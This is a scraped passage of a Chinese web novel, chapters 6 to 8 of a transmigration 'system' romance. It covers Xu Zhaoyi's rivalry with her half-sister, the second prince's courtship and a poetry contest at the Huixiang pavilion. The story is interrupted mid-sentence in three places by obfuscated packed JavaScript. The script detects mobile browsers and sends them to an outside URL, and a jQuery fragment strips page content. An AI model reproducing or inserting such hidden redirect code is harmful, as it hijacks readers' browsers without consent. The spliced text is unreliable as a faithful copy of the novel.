于是便有了今日这件事。文小娘子是二房夫人的亲侄女,又仰慕二皇子许久,被宋二娘子一撺掇,便鼓起勇气想要霸王硬上弓。 可惜最后偷鸡不成蚀把米,差点跟待在厢房歇息的宋三郎君好上了。 宋三郎君是京城出了名的纨绔,平日斗鸡蛐蛐啥都玩,花柳之地也没少去,除了一张面皮,基本没什么拿得出手的东西,全京城贵女没一个瞧得上他。 这次若不是徐昭意提前赶到,文小娘子这辈子怕只能跟宋三郎君绑定了。 可现在情况也没好多少,二房夫人苦于儿子亲事许久,哪怕亲手把侄女送入火坑,那也在所不惜。 不过这都不关徐昭意的事,她紧盯房门,指腹不自觉磨动,不知在想些什么。 下一秒房门忽然打开,衣着齐整的萧青恒红着眼眶,一下扑到徐昭意面前。 一双琥珀色的狗狗眼一眨不眨盯着她,张口就是:“昭意妹妹,我是清白的!” 6. 恋爱新招 “母妃昏睡前的最后一句话,就是让我跟徐大娘子打好关系,我什么都没做。”萧青越压低声音,狗狗眼盈满委屈。 所有人都诡异地看着两人,他们谁都想不到,向来意气爱笑的二殿下会在徐二娘子面前露出这种表情。 在他们大部分人的记忆里,二殿下礼贤下士、学识渊博,又会打马球,比起大部分贵郎君来说,可谓文武双全。 再加上他那位受宠的母妃,只有别人捧着他的份,没有他主动跟别人示好,尤其是跟一个小娘子当场示弱的先例。 萧青恒此刻心乱得很,全然顾不上他人目光。他只盯着面前少女,狗狗眼里是藏不住的慌乱。 徐昭意懵逼看他,在脑中疯狂呼叫系统:“你不是读了恋爱宝典吗?我都还没开始展示,他就主动跟别人撇清关系了?” 系统方才可能有点忙,沉默好一会儿,才迟疑道:“……或许他想要蒙蔽你?” 徐昭意眼珠子微动,思考着这个可能性。 萧青恒看着面前少女迟迟不回答,眼皮倏忽下垂,深深看了徐昭意一眼,转身就走。 他是喜欢徐昭意,也愿意为她在众人面前低头。可她迟迟不理他,他不至于一直为她丢面子。 徐昭意见着他的动作,猛然回神,她下意识伸出手,却在感受到一股熟悉视线后,手腕折回,只柔柔唤了声:“二殿下。” 萧清恒身形一顿,闷闷回道:“徐二娘子有何事吗?” 唇角却勾起,两个小酒窝若隐若现。 徐昭意看着萧清恒的背影,温柔笑道:“臣女怎么会怀疑殿下与阿姐呢?臣女只恨自己不在现场,不能为殿下与阿姐挡招。” 萧清恒立时转回身,瞪眼道:“我中招也不能是你中招!” 徐昭意垂首一笑:“殿下说笑了,臣女蒲柳之姿,岂敢与殿下贵体比肩?” 萧清恒心中百味杂陈,既因昭意妹妹肯再与他说话而暗自欣喜,又因她言语间若有似无的疏离而隐隐失落。 暗自苦恼时,他不经意扫过一旁冷漠看戏的徐大娘子,心中顿时梗住。 徐昭意一向温柔大方,众人见惯只道寻常。可现在她与冷漠的徐大娘子站一块,尤其是姐姐的还没有妹妹温柔懂事时,这差距就出来了。 在场闲人只有两个闺秀和她们的婢女,哪怕心里真有什么想法,也不会立时说出来。 但萧清恒却无所谓,向来只有闺秀讨好他,而没有他顾忌闺秀名声的时候。 他瞥过袖手闲立的徐大娘子,薄唇微抿,转而黏向徐昭意,“昭意妹妹若不能与本殿比肩,这世上便没能与本殿比肩的人了。你的身体金贵,不要什么阿猫阿狗都怜惜。” 他这话说得巧妙,既暗自承认徐昭意的地位,又打压了徐大娘子。 更妙的是他说得不甚明白,来日若贵妃醒来追问,也挑不出什么错处。 【恭喜宿主完成“阻止女主和男二春风一度”任务,请宿主再接再厉!】 【主要任务:夺取男女主资源,扶持男二上位。进度条:20%】 徐昭意心底说不上什么滋味,她垂下眼帘,只象征性地福礼,“臣女承蒙殿下怜惜,不甚感激。” 萧青越垂眸瞟过徐昭意,却没看萧清恒一眼,仿佛什么也没听见。 萧青恒一看他那姿态,厢房内的记忆便涌上心头,怒火渐涨。 他堂堂一个皇子,被一个大臣之女满眼嫌弃绑在床上也就算了。他居然还眼睁睁看着这个女人破门而出,把自己的心上人抱走了! 萧青恒自认君子心性,一直默念“事急从权”给自己消气。 好不容易把气压下去,那冷漠看戏的徐大娘子忽然动了。 她用一种轻视目光扫他一眼,随后走向昭意妹妹,在不远不近的距离停下,低头私语。 他就眼睁睁看着昭意妹妹朝他歉意告辞,随后毫不犹豫转身,选择跟上那个可恶女人。 萧清恒怔在原地,盯着那二人相携离开的背影,一时竟不知作何反应。 不远处,徐昭意拧眉跟在这个女人身后,脑中不断回想方才情节。 这个女人走到她身边,凑耳说了句:“若想驯服一个男人,便要学会吊着他,不能事事依着他。你若不信,可跟我一试。这次你跟着我回府,不再哄他,保准他下次对你更殷勤。” 徐昭意上辈子十八,这辈子十五,两辈子连个男人手都没牵过,更别提这种高深莫测的技法。 她只擅长装可怜和装温柔。从小到大只要她去装,想要的基本能得到。 但感情的事终究不能一直靠装,徐昭意觉得这个女人说得有理,但又怕她误导自己,便在脑中疯狂呼叫系统。 可这一次系统没有出现,徐昭意凭借直觉,只得依她所说,不情不愿跟着离开。 萧青越瞥过身后的背影,琥珀色瞳孔闪过流光,眼尾不自觉上扬。 他不过点拨一二,他这个妹妹倒是上道。 这段话是他少时的听闻,如今机缘巧合,便原样复述出来,让徐昭意用在那人儿子身上,倒是别样快意。 古人云:“以其人之道,还治其人之身。” 此话在理。 * 回屋后,待徐昭意挥去所有下人,戴上特质面罩,弯腰从柜子里拿出两个玉盒时,系统才姗姗来迟。 “我觉得女主说得对,”系统赶忙转移话题,“你在干什么?” 徐昭意打开两个玉盒,戴上特质手套,从其中一个雕着蛇纹的玉盒里取出少量粉末,轻轻洒在特质黄皮纸上,随后再用另一只手取出另一个玉盒的粉末,量稍微多些,随后把二者混合在一起,细细研磨着。 待磨得差不多了,她这才把玉盒放回原位,脱下手套和面罩,用指尖沾着粉末,细细涂抹在红肿的手腕上。 没一会儿,那红肿便消下去了。 系统看得叹为观止,忍不住道:“你还有这一手?” 徐昭意轻嗤一声,只回道:“我知道的东西多了去了。” 系统察觉到徐昭意的冷淡,讪讪一笑,只好和盘托出:“其实要修复的小世界不止这一个,但稍微成熟点的系统只有我一个,所以我不常待在这里。” “也就是说......”徐昭意抿唇,“你不只带我一个宿主?” 系统一顿,绞劲脑汁道:“是的......我不是更新了任务系统吗?它会代替我陪伴你的,平日里我很少出现,但宿主若是出现了生命危机,我会闪现的!” 徐昭意不置可否,她收拾好桌面,行动间面颊染上薄汗,累得坐椅子上抿了口茶。 “那我走了?”系统小心问道。 “等等,”徐昭意眼睫微动,“为什么我阻止那个女人跟二殿下结亲后......主任务进度条才显示20%?” “我看看主线哈,”电子音嗞会儿后,“男二与女主的羁绊没那么容易被斩断。按照原文剧情,男二与女主春风一度差点被人发现后,一度不愿意出宫门,来直面自己背叛女二以及即将迎娶女主的事实。但三日后,宋大郎君邀请他去汇祥阁品茶斗诗,男二一时兴起便去了。便是在那里,他又碰上了大放光彩的女主。” “大放光彩?”徐昭意垂眼。 “对......”系统忽而出现了忙音,停滞许久。 “我已经把主剧情拷贝到任务系统上了,以后你有哪部分剧情不了解的,你可以直接在脑中问它。”电流嗞嗞几下,它又彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有!”凝露飞快反应过来,多亏平日娘子喜欢让她读医书,她或多或少都记了点,“我带你去!” 萧青越没立马离开,他转头看向花尽,面色自然道:“你去找些烧酒,掺大量水进去,在我端药来之前,一直用棉帕沾水,给她擦拭颈部、腋窝和腹股沟。” 说完匆匆离去,全然没有往床上再看一眼。 花尽看着大娘子面上的冷气,急忙点头,着手开始擦拭二娘子身体。 她越擦,面色越红,害羞之余又忍不住感慨,以后能娶二娘子的人真幸福。 二娘子不仅博学多才、花容月貌,连藏在病弱表象下的身段也是极好的。 她可真是完美呀。 待花尽手中的水快用完时,门外终于传来了敲门声。 她匆匆将二娘子的衣裳穿好,这才把门打开,让门外两人进来。 “你端进去吧,”萧青越示意凝露把药碗端进去,自己却站在风雪交加的门外岿然不动,“有事叫我。” 凝露接过药碗,忍不住看了大娘子一眼,但到底没说什么,飞快地进去了。 萧青越看着在自己面前阖上的木门,忍不住接过一片雪花,垂眼细看,半响后摊手,任由融化雪水顺着掌心纹路,滴滴氤氲木地板。 冰冷、粘腻、恶心。 面前的木门又被打开,露出花尽焦急的脸:“大娘子!二娘子喝药后一直在喊冷!” 等萧青越反应过来时,他已经站在徐昭意的床榻前,面无表情地看着拽着自己衣袖的纤细手指。 它们拽着袖子还不够,还下意识的,往袖内的温热源抚去。 7. 进汇祥阁 疼,很疼。 浑身似被车轮碾压过一遍,惫软无力,连胳膊也抬不起来。 恍惚间,一道尖细嗓音直冲耳内。 “废后徐氏淫佚无行、悍妒成性,陛下念及徐、梅两家旧情,本欲留你性命。岂料你包藏祸心,竟敢谋害中宫!今赐鸩酒一杯,即刻了断以正国法!” 朦胧红纱被轻挑开,从外探进一只手,手指修长匀称,骨骼大而凌厉,紧紧扣着一樽黄金盏,缓缓递与她唇边,轻轻压过唇畔,带着诱哄语气。 “阿妹,喝吧?” ...... 床上的少女眼睫颤动,哆嗦着睁开眼。 入目便是湘妃竹制的帐顶,层层泄下如雾轻纱,轻抚少女如玉脸庞,缓缓拭去眼尾泪痕。 猛烈心跳渐渐平缓。 徐昭意缓了几口气,还未彻底醒神,便觉手心炽热湿濡一片。她下意识想要甩开,耳边却乍然响起庶姐声音。 “握够了吗?”女人皱眉闭眼,艳红唇畔吐出的话冰冷冻人。 徐昭意看着被自己紧紧握住的女人手腕,和这双嫌恶的紧闭双眼。 心底不自觉涌上一股陌生的,有些兴奋的感觉。 她强压下这股怪异情绪,手指微缩,却不小心碰到一个冰凉之物,指尖拨弄出凌凌响声。 是这个女人手腕上的狐纹银镯。 萧青越猛然睁开眼,下意识甩开附着在银镯上的指尖,头微偏,视线内却闯入一双带着透明质感的微绷足背,以及圆润似莲子的足趾。 他又猛地闭眼,可那暗蓝血管却似复杂缠绕的缠枝莲纹,在大片瓷白上蔓延。 他极力遏制想象,却适得其反。 徐昭意被这过度反应吓了大跳,顾不得疼痛的指尖,忍不住问道:“怎么了?” “没事。”萧青越闭眼起身,推门离开前脚步微顿,“浑身发冷是喝药的正常反应,不必担心。”说完便彻底离开,再不见踪影。 徐昭意手指无意识磨着锦被,她当然知道这个常识,只是两个婢女被她的反应吓到,有些手足无措而已。 不过......这个女人虽说面色不耐,却还是应花尽的请求来了,甚至还详细嘱托注意事项,连她贸贸然的触碰都忍耐下来,全然不见初见时的强烈反应。 这让她惊讶又不解。 这是真把自己当阿姐了吗? 花尽见她沉默许久,以为她不满自己擅作主张请来大娘子,连忙跪在床边磕头。 “娘子恕罪!奴婢去找老爷时,正院的管家与奴婢说老爷被陛下留于宫中谈事,心下无法才病急乱投医,请来了大娘子!” 徐昭意一怔,她示意凝露扶起花尽,咳几声后,缓缓笑道:“多亏你找来了阿姐,不然我很可能会落下病根了。我该感谢你才是,怎么会怪你呢?” 在这个时代,发烧是件很可怕的事情,一不小心就会丧命。花尽这种尽快找人开药的行为才是正确的。 花尽怔怔看了徐昭意一眼,又猛地跪地磕头,随后才径自站起。 徐昭意朝她安抚似地笑了笑,让两人回去补觉,自个儿则怔怔盯着床顶,思索着这次高烧的原因。 是压力大,还是...... “别想这么多啦!”系统神出鬼没,“是系统觉醒后,你的身体承受不住这么多信息量,把外来信息当成病毒,激起了自动保护机制,这才导致了发烧。” “你怎么来了?”徐昭意奇道。 “我不是说了吗?当你遇到生命危险,我就会立即赶来!”系统骄傲道。 徐昭意笑了笑,却没接话。 翌日徐国公回府后,官服还未脱,便匆匆赶来昭明苑。 他在客轩见的徐昭意,眼见女儿面色红润,松了口气的同时,又莫名问道:“昨夜你阿姐来你的闺房了?” 徐昭意一怔,低眉道:“多亏阿姐,不然昭意就没命了。” “倒也不至于……”徐国公喃喃,粗眉皱了又顺,最后只说,“你与你阿姐到底不是一块长大的,还是避着些好。这次情况紧急倒也罢了,以后注意些吧。” 他是觉得自己累着那个女人了吗? 徐昭意眼睫微颤,沉默半响后,只吐出一句:“是,女儿听命。” 徐国公训将士训惯了,平日说话也调整不过来。他看着低眉顺眼的女儿,嘴唇蠕动许久,却只道:“倒也不必这般小心翼翼,爹也没有怪你。” 徐昭意扯了扯唇角,勾成一个完美的弧度,抬头看向徐国公,“父亲觉着这样可以吗?” 徐国公眉毛高挑,最终只留下句“罢了罢了”,便转身离去。 徐昭意盯着徐国公快步离去的背影,正想转头时,忽而瞧见父亲紧扎冠发里的一丝白发。 她抿唇,怔怔盯着路面,许久才挪动身子,靠着椅背小息。 * 待徐国公看过徐昭意后,没两日卢平丹也得知这个消息。她不顾徐昭意阻拦,硬是登门拜访。 “你没事吧?”卢平丹急得团团转。 在徐昭意强调了很多遍“她没事”后,卢平丹这才住嘴,眼珠子滴溜溜转起来,“话说你姐姐这次还算不错......” 徐昭意扬头,示意她有话快说。 卢平丹嘿嘿一笑,转起另一个话题:“咱们去汇祥阁熏陶一下吧?” 徐昭意睨她,不说话。 “昭意昭意,好妹妹,陪我去去嘛!”她掰指头,细数列条,“汇祥阁乃京城第一大文雅楼,内里文人志士极多,才女佳人也不少。咱们单纯单纯去听听斗诗,熏陶一下也好嘛。” 徐昭意笑道:“你到底是去看什么的你清楚,还用在我面前掩饰?” 本朝斗诗之风盛行,各个才子佳人斗诗前定会收拾好自己,不说烨然若神人,至少得穿净衣、束冠发,体面应战。 这一时候也往往是看众们最喜欢的环节,且不说听不听得懂,至少养眼呀! 卢平丹眨眼憨笑,只一个劲儿摇徐昭意,“你就说答不答应我!” 她也不是不能一个人去,但汇祥阁毕竟是男性占大部分的地方,她若不找个人陪着,家里只怕不同意。 徐昭意沉吟一会儿,直到卢平丹蔫下脑袋后,这才对花尽说了句:“去问问阿姐,看她去不去。” 卢平丹看着花尽离开的背影,眉头皱起,有些不满道:“你怎么什么事都想着你那个姐姐?咱们就不能两个人一起玩吗?” 徐昭意点点她的额头,玩笑道:“你上次不还说她像卢姐姐吗?怎么这次就讨厌起她来了?” “你别提那事了!”卢平丹恼羞,“像归像,姐姐不是什么东西都能取代的。我只是被她那手震住了,真让我跟她玩,我还是不乐意的。” 她又摇徐昭意肩膀,“你的性子怎么这么软?什么事都想着她干嘛,她还比你大一岁呢!” “她前几天才救了我的命,做人不能这么无情。”徐昭意无奈道。 “你大不了在别的地方补偿她嘛!”卢平丹眨巴着眼睛,“这次我只想和你一起去......”她用力摇着。 “好好好!”徐昭意抵住卢平丹的额头,故作凶恶,“你再摇?再摇,我就不陪你去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749902|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一下拿捏住卢平丹,她连着叫了好几声“好姐姐”,这才换来徐昭意一个眼神。 两人正打闹着,花尽便回来传话了。她小心抬头看了徐昭意一眼,迟疑道:“大娘子说......让二娘子和卢娘子先去。” 这便是不确定去不去的意思了。 徐昭意忽而眯眼,目光掠过窗外野草,又乍然柔笑:“那咱们便快些出发吧,别误了时辰。” * 风雪渐消,玄武大道一处高楼门口,宝马香车、弊车羸马齐聚,锦衣布袍济济一堂,显出一派盛世景象。 徐昭意下马车时,恰逢汇祥阁迎喜事、放鞭炮,周遭马车拥堵,喧哗声渐大。 她不禁皱眉抬头,却有一阵香风抚过眉梢,送来了此后也难忘的一枝白梅。 只见一个秀雅绝伦的青袍少年自高楼乘木鸢而来,他手拈白梅、笑若观音、眉心一点红,于人怔神处,将手中白梅轻簪少女乌发上。 “鲜花赠美人。”他翻落木鸢,朝徐昭意朗朗一笑。 徐昭意轻抚发间白梅,漆黑眼眸微颤,显出几分勾魂波光。 还没等她想好说什么,周遭看众徒然沸腾起来。 “是白郎君!他竟也出山了!” “出山?他一个毛头小子,怎配用出山一词?” “这你就有所不知了。这白郎君,可是汇祥阁的活招牌!”有人轻摇折扇,侃侃谈道,“你们可听过汇祥阁三绝?” 眼看着众人摇头,他得意笑道:“这三绝,乃茶绝、诗绝和人绝。茶绝是指汇祥阁汇聚了天下好茶,诗绝也大抵是这个意思,可这人绝嘛......却是单指这白郎君。” “白郎君原名白轻落,未及冠尚且无字,师从未知,只知晓其人学识渊博,斗茶斗诗从未输过,乃是这汇祥阁日进斗金的钱柱子。” “在汇祥阁斗诗斗茶需要交费,来人可以指定阁里的人挑战,指定人级别越高,所交费用越多,若是挑战成功,阁里会将双倍费用送于挑战者;若是挑战失败,则竹篮打水一场空。” “这学识与阿堵物怎还能放一块?”一个容长脸的青年皱眉,还拿手拂开周遭空气,“臭不臭啊?” 众人本就是慕名前来,闻言斜眼看了那青年一眼,继续转头交流信息。 徐昭意听着周遭杂乱的话语,颊边发丝轻动,笑容动人,“见过白郎君。” 白轻落叫人收好木鸢,随即看向徐昭意,眉心红点瞩目,“小娘子收了我的花,今日阁中的一切消费免单。”说完笑得倜傥。 “小女子在此谢过白郎君了。”徐昭意冲白轻落微微福身,颊边发丝随风动,显出几分温婉淑柔。 白轻落冲她们笑笑,跟着抬起木鸢的侍从,一边与周遭认识的人打招呼,一边不紧不慢进阁。 “行止有度、风度翩翩,”卢平丹不知何时飘到徐昭意身后,眨眼玩笑,“若不是这白郎君身份不明,昭意你与他也算郎才女貌。” “奴婢也觉着不错。”凝露也从徐昭意另一边冒出来打趣。 徐昭意扫过两人,素手抚过鬓角白梅,挑眉道:“你们当真这般想?” 卢平丹与凝露对视一眼,两人异口同声道:“昭意/娘子千好万好,谁都配不上!” 徐昭意噗嗤一声笑出来,险些岔气。 几人一路说说笑笑走进汇祥阁,却在徐昭意彻底踩到阁楼地板的那一刻,久违的冰冷机械音再度响起。 【支线任务:汇祥阁上凤凰游,诗词一首,男三我有。】 【请宿主按照原女主的路线,尽快获得未来丞相的青睐。】 8. 斗诗风波 “按照原女主的路线?”徐昭意疑惑。系统只给她传输了剧情梗概,是以除了知道男女主、男女二是谁外,她几乎对此剧情一无所知。 【剧情传输中......】 【女主与男二春风一度后身心受惊,连着几日未出门。眼看宫里传来定亲消息,女主郁闷至极,便只身前往大名鼎鼎的汇祥阁,想一睹白郎君风采。谁料她运气颇好,正巧赶上白郎君的出场仪式,因着貌美还被白郎君塞了朵白梅......】 徐昭意摸上鬓角白梅,刚想拔下丢掉,却想起白轻落说的免单,只好收回手忍着。 【这一幕刚巧被路过的男二看到,他本来不那么喜欢女主,偏巧被这件事激起了一股无名火,于是与男三起冲突。三人僵持不下,男二为挽回面子,再加上对自身学识的自信,便提出与男三斗诗,结果惨败。 剑拔弩张时,女主主动替男二出头,斗诗赢了男三。经此一事后,男二对为他出头的女主有好感,男三也对赢了他的女主有好感,两人为争夺女主目光,开始相互扯头花。当然这都是后事,宿主的当务之急是赢男三,把这段剧情走完。】 剧情讲解刚落,冰冷的机械音再度出现。 【凤凰游系列任务一:帮助男二斗诗赢男三。进度条:0%】 按照这个系统任务提示,她不仅得赢男三,她还得挑起男二男三的矛盾后赢男三! “昭意,昭意?”卢平丹看着面色忽而黑如锅底的小姐妹,心下惴惴不安,忍不住拍她肩膀。 徐昭意猛然回神,她下意识朝卢平丹露出一个无害笑容,目光随后偏移,落在刚走进来的三人身上。 宋大郎君、二皇子和女主姐姐,小说里的开场组合终于出现了。 萧青恒率先看到徐昭意,一双狗狗眼唰的亮起,顿时从宋大郎君旁边跑过来,唇边弯出两个小酒窝。 “昭意妹妹也在这里?咱们要不一起走吧?” 他不等徐昭意拒绝,又凑近一步,几乎靠在她身旁。 余光却瞥过懒散站在一旁的姐姐。 徐昭意安抚似地看他一眼,笑盈盈看向姐姐,得体福礼:“阿妹盼阿姐好几日,总算把阿姐盼来了。三日前多亏阿姐,不然阿妹还得遭不少罪。” 那夜雪水粘腻的触感仿佛印在手心,萧青越不由换了站立姿势,手心隐在裙摆里,冷淡开口:“举手之劳,不必言谢。” 卢平丹睨他一眼,拉过徐昭意,哼唧道:“咱们要不与殿下一同走吧?” 宋大郎君脚步微顿,他不动声色瞟过事不关己的徐大娘子,又头疼看着欣喜溢于言表的二皇子,不由上前一步,小心问道:“殿下......二郎君,这般打扰徐娘子她们,怕是不太好吧?” “这有什么不好?”卢平丹杏眼怒瞪,一副护犊子的模样,“真要我说,让徐家姐姐一个小娘子跟你们一起走,那才是大大的不妥呢!” 宋大郎君动了动唇,最终却一句话也没吐出来。他也觉得此举不妥,奈何他是宋家大房长子,家里给的指示,大妹与二弟都可当做耳旁风,唯独他得尽力完成。 贵妃娘娘昏迷前就这一个盼头,宋家大房自得尽力。他奉命为二殿下和徐大娘子创造独处机会,便只能厚脸皮向徐大娘子递请柬。 他也没想到徐大娘子答应了邀请,一路上却尽是冷脸。他尽力调节二殿下和大娘子之间的氛围,奈何这两人一个比一个惫懒,三人走到最后竟成他一人的独角戏! 宋大郎君想着一路上的艰辛,又看着面前卢平丹护食的凶狠眼神,只得悻悻笑下,转头看向一旁耷脑阖眼的徐大娘子:“大娘子......” 顶着徐大娘子看来的不爽眼神,他欲哭无泪:“二郎君想与二娘子她们一道走,大娘子意下如何?” 萧青越先瞥眼警惕望来的萧青恒,又瞧眼温和笑着的徐昭意,以及两人微微交合的衣袖。 他意味不明地笑了声,欣然应下:“我与你们一道走吧。” 萧青恒豁然瞪大眼,忍不住往徐昭意这处靠了靠。他的目光紧紧粘她,低声道:“你阿姐不是个好人,待会儿她来后,你尽管往我身后躲,别理她就是了。” 徐昭意收回落在姐姐身上的视线,转而看向一脸紧张看着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平日里难得生气的人,生起气来便格外有威力。大家纷纷收回目光,面面相觑。 白轻落看向徐昭意,笑出几分风流意味,“小娘子可愿让这位郎君代为斗诗?” 萧清恒双眼微眯,凶气愈发明显。 徐昭意缓缓走到萧清恒身边,对他露出一个熟悉的柔顺笑容,“我的就是二郎君的,没什么愿不愿意的。” 白倾落挑了挑眉,意味不明地看向萧清恒。 “那走吧。”萧青恒睨了白轻落一眼,语调平缓,“你来选斗诗模式。” 白轻落的面色有些古怪:“二郎君承让了。” * 汇祥阁是一座三层木构楼,一楼大堂有一个挂满红绸的舞台,平日里由著名乐师吹拉弹唱,可一旦阁里有重要人物要斗诗,舞台便会清理出来作为斗诗场所。 二三楼的檀香、茶香与若隐若现的古琴声交织在一起,汇成一股清波四散进每个看众耳中,带来白鹭掠轻波的舒畅感受。 徐昭意坐在一张近台的桌子旁,一边垂眸轻抿茶水,一边听着茶客闲语。 “白郎君年初第一次亮相就搞这么大吗?” “听闻白郎君今日就把白梅送出去了。那可是一年仅一枝的,可以免去汇祥阁全单的白梅!” “如此说来,我又能理解了......” 茶客们的闲谈涌进萧青恒过分灵敏的耳朵,他垂着一双狗狗眼,眼睛无意识瞟到下面喝茶的徐昭意,眨了又眨,还没移开,就见下首人儿抬首望来,冲他露出一个温柔鼓励的笑。 萧青恒登时打鸡血似的,一眨不眨盯着对面的白轻落,淡声道:“你先出诗。” 两人一开始定的续诗,依次接龙成诗,需符合“雪”的意境。 白轻落眉眼微动,观音面上笑意疏朗,“斗诗场如战场,开篇有气势才好继续,那我便以‘万里寒光生积雪,三边曙色动危旌’为开场诗吧。” 萧青恒冷哼一声,余光瞟见托腮望来的徐昭意,灵机一动:“不知庭霰今朝落,疑是林花昨夜开。” 白轻落的视线在两人身上打了个转儿,随口接了句:“北风卷地白草折,胡天八月即飞雪。” “云鬟绿鬓罢梳结,愁如回飙乱白雪。” “遥知不是雪,为有暗香来。” “......” 两人一来一回斗了好半天,却是僵持住了。按照规定,续诗十轮内没分出胜负的,斗诗方式将由续诗改为七步成诗。 七步成诗,意思很简单,便是在台上走七步,七步之内出一首原创诗。原创诗要求平仄、对仗和押韵,律诗和绝句都可,七言最佳。 此规则一出,全场立即沸腾起来。 “续诗人人都会,可七步成诗却是白郎君的绝活!当年无数才子佳人在续诗上与白郎君僵持不下,却纷纷拜倒在他的七步成诗下!” “此话怎讲?里面可有猫腻?” “没什么猫腻!七步成诗以七言为最佳,白郎君次次都是七言不说,还次次都是精品!就连翰林院里的那位陈老先生都败于他之手!” “可是先帝盛赞‘诗中圣言’的陈老先生?” “正是那位!” “不算不算,陈老先生本就不擅长七步成诗。不过这般说来,这白郎君确实厉害。” 底下在沸腾,可场上的情景却不太好看。萧青恒鬓角冒薄汗,一双琥珀色的狗狗眼瞪得愈发圆乎。 对面的白轻落步步轻盈,已经走完了七步,道出了一首平仄、对仗、押韵乃至主题都上等的绝句,而他一点思绪都没有。 耳边的嘈杂声音越发喧闹,萧青恒死死盯着对面那张观音面,心中涌上一股无法遏制的戾气。 他活这十几年来,从未有人让他丢这么大个丑。 上至天子,下至蚁民,谁不是哄着他、顺着他的? “我来吧。” 还没等他掀桌子,一道似水柔声悠悠飘进耳里,倏忽间消弭他心中的戾气,带来一种别样的战栗感。 徐昭意姿态端方地上台,朝白轻落行礼,面上带歉疚:“二郎君现下有些头昏,恐怕不便应战。我与二郎君一道学诗十数载,水平也是相当,白郎君可否让我代替二郎君应战?” 白轻落负手而立,含笑眼在徐昭意身上停留一瞬,化为轻飘飘一句:“二郎君同意便好。” 萧青恒看向徐昭意,少女眸里含着存粹的担忧,没有丝毫他不愿意看见的情绪。 他松开紧握的拳头,几步走到徐昭意面前,抬手揉揉她的头,凶狠扫过或明或暗打量这里的各色目光,下颚微扬却状似不经意凑到她耳边,小声嘟喃:“这次麻烦你了,等我找到下一次出宫的机会,我就给你带母妃殿里的玉露团。” 昭意妹妹喜欢吃玉露团。他们第一次见面的时候,他就发现了。 那时的昭意小小一个,面上得体应对母妃的问话,却时不时就会捞起玉露团啃。 他特意数了数,她每吃一个别的糕点,就会奖励自己一颗玉露团。而且她啃玉露团的速度也比别的糕点快。 那日梅夫人带昭意走后,他还被母妃训斥了。母妃认为他在谈话时心不在焉,有违皇子礼数,就罚他抄写《诗经》。 谁知那日的他一反常态,抄《诗经》还抄笑了。母妃越看越气,就命他去殿外蹲马步。 宫中仆婢纷纷随小皇子出殿,在那无人收拾的书桌上,悠悠清风抚过那爬满凌乱字迹的书页,露出一句—— “投我以木桃,报之以琼瑶。” “你不能拒绝。” 他匆匆说完这句,红着耳尖跃下台面,目不转睛盯着她。 徐昭意抿唇扫过那道炽热视线,不自在地垂眼,指尖拨弄两下绣着桃花瓣的袖口,倏忽间笑了笑。 乐师琴弦恰在此时一颤,她顺着乐声吟诵,声音浸着说不清的滋味:“锦瑟无端五十弦,一弦一柱思华年。庄生晓梦迷蝴蝶,望帝春心托杜鹃。沧海月明珠有泪,蓝田日暖玉生烟。此情可待成追忆,只是当时已惘然。” 最后半句轻缓悠远,古琴余韵陡然拔高又戛然而止,满阁宾客屏息望着穿月白襦裙的少女,她的眼睫似蝶翼轻颤,清丽侧脸显出几分忧伤、几分迷茫和几分怅惘。 【恭喜宿主成功抢走原女主的一个名场面。凤凰游系列任务一:帮助男二斗诗赢男三。进度条:90%】 这首诗不是她原创的,是任务系统给的,说是念出来就能百分百打败男三。 她将信将疑之下,因着没有更好的诗句,便只能用这首诗。 没想到效果这般好。 徐昭意眸底闪过一抹沉思,她下意识往某个方向瞥去,却见本该神色痴迷的人,此刻正撑着脑袋,满脸探究看着自己。 那双琥珀色的狐狸眼微眯,躲了几天的眼珠与她对上,像蜜蜡包裹的刀锋,带着不明显的冷意。 见她看来,那双狐狸眼还破天荒地弯了下,随后带头鼓起掌来。 “好诗。”雌雄莫辨的玉质嗓音响彻整个大堂,下一秒,无数掌声若潮水般响起。 徐昭意看着白轻落含笑离去的背影,一个人站在高台上,感受着四周的仰慕目光。 她第一次发现,脱离少女们赖以生存的宅院后,外面的掌声远比胭脂水粉更令人如痴如醉。 原来庶姐女主过的都是这样的日子。 真是令人……愈发想要夺走。 “我家昭意真厉害!”一阵芙蓉花香猛然包裹她,将她拉回现实。 转头看去,卢平丹使劲儿抱着她,大大的杏眼含着骄傲与打趣,“你赢傻了吧?怔怔站台上也不知想什么,还得靠我把你拖下来。” 徐昭意将脑袋埋进卢平丹的颈窝里,猛吸一口芙蓉花香,这才抬起头来,温声笑道:“多亏我家平丹了。” 卢平丹眨巴眼睛,嘟囔道:“好吧,其实我也没干什么......” 她话音未落,一道清朗的少年嗓音蓦地响起:“昭意妹妹真厉害!” 萧青恒笑容灿烂,不经意扒拉下卢平丹,转而拽着徐昭意的袖子一角,微微拉紧,“咱们也在外面待久了,要不先回府吧?” 他一边说着,一边环顾四周未散的人群,琥珀色眼珠愈发耀眼。 “白梅可以免单一天,徐娘子现在就要走吗?”白轻落从另一旁冒出,眨也不眨地盯着徐昭意。 见她微笑不语,他又笑眯眯地加了句:“汇祥阁除了那三绝,其实还有第四绝。娘子可知道这第四绝是什么?” 